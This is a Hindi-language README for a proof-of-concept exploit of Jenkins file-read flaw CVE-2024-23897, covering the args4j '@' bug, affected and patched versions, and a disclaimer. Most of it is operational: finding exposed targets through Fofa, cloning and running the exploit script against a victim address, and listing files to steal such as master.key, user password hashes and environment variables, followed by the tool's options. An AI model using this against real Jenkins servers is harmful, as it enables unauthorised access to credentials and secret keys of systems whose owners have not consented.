
POC - Jenkins File Read Vulnerability - CVE-2024-23897
CVE-2024-23897 जेनकिंस में एक गंभीर कमजोरी है जो अप्रमाणित हमलावरों को जेनकिंस नियंत्रक के फ़ाइल सिस्टम पर मनमानी फ़ाइलों को पढ़ने की अनुमति देती है। यह दोष args4j लाइब्रेरी में कमांड तर्कों के अनुचित हैंडलिंग से उत्पन्न होता है, विशेष रूप से कमांड-लाइन संचालनों में जहां @ वर्ण के बाद फ़ाइल पथ अनधिकृत फ़ाइल सामग्री के प्रदर्शन का कारण बन सकता है।
यह कमजोरी एक महत्वपूर्ण जोखिम पैदा करती है क्योंकि यह हमलावरों को संवेदनशील जानकारी, जैसे क्रिप्टोग्राफिक कुंजियाँ और कॉन्फ़िगरेशन फ़ाइलें, तक पहुँचने में सक्षम बना सकती है, जिसका उपयोग आगे के शोषण के लिए किया जा सकता है, जिसमें रिमोट कोड निष्पादन (RCE) शामिल है। यह मुद्दा विशेष रूप से चिंताजनक है क्योंकि CI/CD पाइपलाइनों में जेनकिंस का व्यापक उपयोग और वैश्विक स्तर पर उजागर जेनकिंस इंस्टेंस की संख्या है।
इस कमजोरी को संबोधित करने वाला एक सुरक्षा फिक्स जेनकिंस संस्करण 2.442 और बाद में, साथ ही जेनकिंस LTS संस्करण 2.426.3 और बाद में जारी किया गया है। उपयोगकर्ताओं को दृढ़ता से सलाह दी जाती है कि वे इस जोखिम को कम करने और संवेदनशील जानकारी की रक्षा के लिए अपने जेनकिंस इंस्टॉलेशन को अपग्रेड करें।
इसके बारे में पढ़ें — CVE-2024-23897
अस्वीकरण: यह प्रूफ ऑफ कॉन्सेप्ट (POC) केवल शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए बनाया गया है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए इस उपकरण का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई देयता नहीं मानते हैं और इस प्रोग्राम के दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
संभावित लक्ष्य खोजने के लिए, Fofa (Shodan.io के समान) का उपयोग करें:
प्रभावित जेनकिंस संस्करणों में 2.441 तक और जेनकिंस LTS के लिए 2.426.2 तक शामिल हैं।
रिपॉजिटरी को क्लोन करें:
git clone https://github.com/verylazytech/CVE-2024-23897
एक्सप्लॉइट चलाएँ:
python3 CVE-2024-23897.py -u <Victim_ip:port>

वह फ़ाइल दर्ज करें जिसे आप शेल में पढ़ना चाहते हैं (इस मामले में /etc/passwd):

कुछ फ़ाइलें जो रुचिकर हो सकती हैं:
/proc/self/environ पर्यावरण चर जिनमें JENKINS_HOME शामिल है/proc/self/cmdline कमांड-लाइन तर्क/var/jenkins_home/users/users.xml उपयोगकर्ता खाता भंडारण स्थान/var/jenkins_home/users/<user_directory>/config.xml उपयोगकर्ता BCrypt पासवर्ड हैश/var/jenkins_home/secrets/master.key एन्क्रिप्शन गुप्त कुंजी/etc/hosts लिनक्स स्थानीय-DNS समाधान/etc/passwd लिनक्स उपयोगकर्ता खातेusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag